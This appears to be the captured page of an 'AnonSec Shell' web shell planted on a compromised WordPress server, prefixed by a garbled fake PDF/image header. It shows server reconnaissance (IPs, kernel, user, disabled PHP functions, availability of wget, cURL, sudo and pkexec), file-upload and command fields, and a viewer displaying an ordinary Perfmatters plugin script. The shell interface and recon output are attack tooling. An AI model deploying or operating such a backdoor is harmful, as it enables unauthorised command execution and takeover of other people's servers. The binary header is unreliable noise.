%PDF-1.3 %��C ��C ����"#Qr����&1!A"2qQa��� ?�y,�/3J�ݹ�߲؋5�Xw���y�R��I0�2�PI�I��iM��r�N&"KgX:��nTJnLK��@!�-� ���m�;�g���&�hw���@�ܗ 9�-�.�1 AnonSec Shell
AnonSec Shell
Server IP : 192.175.98.165  /  Your IP : 216.73.216.219
Web Server : Apache
System : Linux server.tobedev.com 4.18.0-553.72.1.el8_10.x86_64 #1 SMP Tue Sep 2 06:07:48 EDT 2025 x86_64
User : meir5web ( 1019)
PHP Version : 7.4.33
Disable Function : passthru,shell_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meir5web/public_html/wp-content/plugins/perfmatters/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/meir5web/public_html/wp-content/plugins/perfmatters/js/pmcs-conditions.js
jQuery(function($) {

	var getLocationObjects = function(select, onload = false, data = '') {

		var location = select.val();
		var parent = select.parent();

		if(location === '') {
			parent.removeClass('pmcs-condition-objects-loaded');
		} 
		else {

			var locationID = location.split(':').pop();
			var locationType = location.includes(':taxonomy:') ? 'taxonomy' : location.split(':')[0];
			var objectSelect = parent.find('.condition-object-select');

			//check if location type needs objects loaded
			if(locationType === 'post' || locationType === 'taxonomy') {
					
				//set loading class
				parent.removeClass('pmcs-condition-objects-loaded').addClass('pmcs-condition-load-objects');

				//fill objects with response
				var fillObjects = function(response) {

					var objects = response[locationID].objects;
					const blankName = location.includes(':taxonomy:') ? 'Select an option' : 'All ' + response[locationID].label;

					//empty first
					objectSelect.empty();

					//add blank option
					objectSelect.append($('<option>', {
						value: '',
						label: blankName,
						text: blankName,
					}));

					//add objects
					$.each(objects, function(key, value) {
						objectSelect.append($('<option>', {
							value: value.id,
							text: value.name + ' (' + value.id + ')'
						}));
					});

					parent.removeClass('pmcs-condition-load-objects').addClass('pmcs-condition-objects-loaded');

					//preselect saved value
					if(onload) {
						objectSelect.val(objectSelect.attr('data-saved-value'));
					}
				};

				if(data && onload) {
					fillObjects(data);
				} 
				else {

					const actionType = (locationType === 'post') ? 'posts' : 'terms';

					$.post(ajaxurl, {
						action: 'pmcs_get_location_' + actionType,
						id: locationID,
						nonce : PERFMATTERS.nonce
					},
					function(response) {
						response = JSON.parse(response);
						fillObjects(response);
					});
				}
			} 
			else {

				parent.removeClass('pmcs-condition-objects-loaded');
				objectSelect.empty();
			}
		}
	};

	//load location objects on condition change
	$('.perfmatters-input-row-wrapper').on('change', '.condition select.condition-select', function() {
		getLocationObjects($(this));
	});

	//saved object id arrays
	var postObjects = [];
	var termObjects = [];

	//populate saved object ids
	$('.pmcs-condition-load-objects').each(function() {

		var location = $(this).find('select.condition-select').val();
		var locationID = location.split(':').pop();
		var locationType = location.includes(':taxonomy:') ? 'taxonomy' : location.split(':')[0];

		if(locationType === 'post' && !postObjects.includes(locationID)) {
			postObjects.push(locationID);
		}
		else if(locationType === 'taxonomy' && !termObjects.includes(locationID)) {
			termObjects.push(locationID);
		}
	});

	//load object data for ids
	if(postObjects.length > 0 || termObjects.length > 0) {
		$.post(ajaxurl, {
			action: 'pmcs_get_location_objects',
			posts: postObjects,
			terms: termObjects,
			nonce : PERFMATTERS.nonce
		},
		function(response) {

			response = JSON.parse(response);

			$('.pmcs-condition-load-objects').each(function() {

				var select = $(this).find('select.condition-select');

				$(this).addClass('pmcs-condition-load-objects');

				getLocationObjects(select, true, response);
			});
		});
	}
});

Anon7 - 2022
AnonSec Team